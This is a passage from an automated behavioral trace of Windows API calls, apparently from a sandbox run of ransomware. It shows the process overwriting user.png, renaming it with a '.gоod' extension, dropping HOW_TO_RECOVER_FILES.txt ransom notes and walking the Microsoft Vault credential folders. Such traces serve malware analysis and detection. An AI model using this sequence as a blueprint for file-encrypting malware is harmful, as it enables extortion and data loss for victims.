ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518)) returned 1 [0092.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0092.411] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", lpFilePart=0x0) returned 0x37 [0092.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0092.411] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0092.411] GetFileType (hFile=0x7b4) returned 0x1 [0092.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0092.411] GetFileType (hFile=0x7b4) returned 0x1 [0092.411] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0092.411] ReadFile (in: hFile=0x7b4, lpBuffer=0x3498e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3498e78*, lpNumberOfBytesRead=0x1f9ee6d8*=0x518, lpOverlapped=0x0) returned 1 [0092.412] CloseHandle (hObject=0x7b4) returned 1 [0092.412] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", lpFilePart=0x0) returned 0x37 [0092.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0092.412] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.649] GetFileType (hFile=0x768) returned 0x1 [0092.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0092.649] GetFileType (hFile=0x768) returned 0x1 [0092.649] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1518 [0092.649] WriteFile (in: hFile=0x768, lpBuffer=0x36f3de8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36f3de8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0092.649] CloseHandle (hObject=0x768) returned 1 [0092.650] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", lpFilePart=0x0) returned 0x37 [0092.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0092.650] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.650] GetFileType (hFile=0x768) returned 0x1 [0092.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0092.650] GetFileType (hFile=0x768) returned 0x1 [0092.650] ReadFile (in: hFile=0x768, lpBuffer=0x36f6080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x36f6080*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0092.746] CloseHandle (hObject=0x768) returned 1 [0092.746] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", lpFilePart=0x0) returned 0x37 [0092.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0092.746] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.746] GetFileType (hFile=0x768) returned 0x1 [0092.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0092.746] GetFileType (hFile=0x768) returned 0x1 [0092.746] WriteFile (in: hFile=0x768, lpBuffer=0x36f4e00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x36f4e00*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0092.746] CloseHandle (hObject=0x768) returned 1 [0092.746] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", lpFilePart=0x0) returned 0x37 [0092.746] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.gоod", lpFilePart=0x0) returned 0x3c [0092.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0092.747] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1528)) returned 1 [0092.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0092.747] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png.gоod")) returned 1 [0092.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0092.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0092.747] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0092.748] GetFileType (hFile=0x768) returned 0x1 [0092.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0092.748] GetFileType (hFile=0x768) returned 0x1 [0092.749] WriteFile (in: hFile=0x768, lpBuffer=0x37f3308*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x37f3308*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0092.750] CloseHandle (hObject=0x768) returned 1 [0092.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault", lpFilePart=0x0) returned 0x1e [0092.751] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.751] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.752] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 1 [0092.752] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0 [0092.752] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault", lpFilePart=0x0) returned 0x1e [0092.753] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.753] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.753] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 1 [0092.753] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.753] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0092.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", lpFilePart=0x0) returned 0x43 [0092.754] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.754] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.754] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", cAlternateFileName="154E23~1.VSC")) returned 1 [0092.754] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", cAlternateFileName="2F1A65~1.VSC")) returned 1 [0092.754] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", cAlternateFileName="3CCD54~1.VSC")) returned 1 [0092.754] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 1 [0092.755] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.755] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0092.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0092.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0092.755] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", lpFilePart=0x0) returned 0x43 [0092.755] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.755] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.755] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", cAlternateFileName="154E23~1.VSC")) returned 1 [0092.756] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", cAlternateFileName="2F1A65~1.VSC")) returned 1 [0092.756] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", cAlternateFileName="3CCD54~1.VSC")) returned 1 [0092.756] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 1 [0092.756] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 0 [0092.756] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0092.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0092.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0092.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0092.757] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0092.757] GetFileType (hFile=0x768) returned 0x1 [0092.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0092.757] GetFileType (hFile=0x768) returned 0x1 [0092.758] WriteFile (in: hFile=0x768, lpBuffer=0x3813a70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3813a70*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0092.759] CloseHandle (hObject=0x768) returned 1 [0092.759] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0092.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0092.759] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\vault\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0092.760] GetFileType (hFile=0x768) returned 0x1 [0092.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0092.760] GetFileType (hFile=0x768) returned 0x1 [0092.761] WriteFile (in: hFile=0x768, lpBuffer=0x3817708*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3817708*, 